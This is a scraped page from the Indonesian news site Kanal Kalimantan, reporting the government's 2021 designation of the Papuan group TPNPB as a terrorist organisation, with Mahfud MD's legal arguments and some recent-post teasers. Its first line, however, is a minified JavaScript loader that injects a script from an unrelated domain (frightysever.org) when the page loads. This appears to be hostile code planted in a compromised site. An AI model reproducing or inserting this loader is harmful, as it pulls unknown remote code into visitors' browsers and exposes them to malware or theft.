(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Dicap Teroris, Mahfud MD Minta TNI-Polri Tumpas Habis TPNPB Sesuai Hukum


KANALKALIMANTAN.COM, JAKARTA – Pemerintah resmi melabeli Tentara Pembebasan Nasional Papua Barat (TPNPB) sebagai kelompok teroris. Aparat terkait diminta segera menindak anggota kelompok TPNPB dengan tegas terukur.

Menteri Koordinator bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD mengatakan kalau kehadiran aparat di Papua bukan untuk menyerang masyarakat sipil. Tetapi untuk mengejar TPNPB yang dianggap sudah melakukan tindak kekerasan secara brutal.

“Maka pemerintah sudah meminta kepada Polri, TNI, BIN, dan aparat-aparat terkait itu segera melakukan tindakan secara cepat, tegas terukur menurut hukum dalam arti jangan sampai menyasar ke masyarakat sipil,” kata Mahfud dalam konferensi pers yang disiarkan melalui YouTube Kemenko Polhukam, Kamis (29/4/2021).

Banyak masukan dari beragam kalangan kepada Mahfud yang mendukung adanya tindakan dari pemerintah menyelesaikan permasalahan kekerasan yang ditimbulkan TPNPB. Pemerintah menilai TPNPB layak dikategorikan sebagai teroris berdasarkan Undang-undang Nomor 5 Tahun 2018 tentang terorisme.

Baca juga : Tetangga Sempat Berpapasan, Wanita Tewas Gantung Diri Pelambuan Masih Misteri

Dalam legislasi itu teroris itu dikatakan sebagai orang yang merencanakan, menggerakan dan mengorganisasikan terorisme. Sementara terorisme adalah setiap perbuatan yang menggunakan kekerasan atau ancaman kekerasan yang menimbulkan suasana teror atau rasa takut secara meluas yang dapat menimbulkan korban secara massal.

Atau menimbulkan kehancuran terhadap objek vital strategis terhadap lngkungan hidup fasilitas publik atau fasilitas internasional dengan motif ideologi, politik dan keamanan.

“Nah, berdasar definisi yang dicantumkan dalam UU Nomor 5 Tahun 2018 maka apa yang dilakukan oleh KKB dan segala nama organisasinya dan orang-orang yang berafisiliasi dengannnya adalah tindakan teroris,” ucapnya.

Untuk itu maka pemerintah sudah meminta kepada Polri, TNI, BIN, dan aparat2 terkait itu segera melakukan tindakan secara cepat, tegas terukur menurut hukum dalam arti jangan sampai menyasar ke masyarakat sipil.

Lagipula, Mahfud menerangkan kalau Papua dan Papua Barat itu bagian sah dari NKRI itu juga sudah disetujui dalam Resolusi Majelis Umum PBB. Saat itu, tidak ada satupun negara yang menentangnya.

Baca juga : Kembali ke DPRD Banjar, Warhamni Bertugas di Komisi I

“Semuanya mendukung dan setuju hasil penentuan pendapat rakyat tahun 1969 bahwa Papua dengan paperanya itu sudah jadi bagian sah dari RI,” sebutnya.

Resolusi Majelis Umum PBB waktu itu tidak ada satupun negara yang menolaknya, semuanya mendukung dan setuju hasil penentuan pendapat rakyat tahun 69 bahwa papua dengan paperanya itu sudah jadi bagian sah dari RI.

“Oleh sebab itu segala tindak kekerasan yang memenuhi unsur-unsur UU Nomor 5 Tahun 2018 kita nyatakan sebagai gerakan teror dan secara hukum pula kami segera memprosesnya sebagai gerakan terorisme yang tercatat di dalam agenda hukum kita,” tambah Mahfud.

Mantan ketua Mahkamah Konstitusi (MK) tersebut juga menjelaskan kalau tidak ada satu forum resmi yang mau membicarakan lepasnya Papua dari NKRI. Meski ada yang membawa isu pembebasan Papua ke parlemen, tetapi menurut Mahfud hal tersebut tidak akan diterima.

“Di PBB tidak pernah lagi, di forum apapun tidak pernah bahwa mungkin ada orang yang datang ke sebuah parlemen dan mungkin diterima tapi tidak diagendakan sebagai pengambilan keputusan itu iya.”(Suara.com)

 

 

 


Al Ghifari

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

4 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

4 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

5 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

5 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

7 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

7 jam ago

This website uses cookies.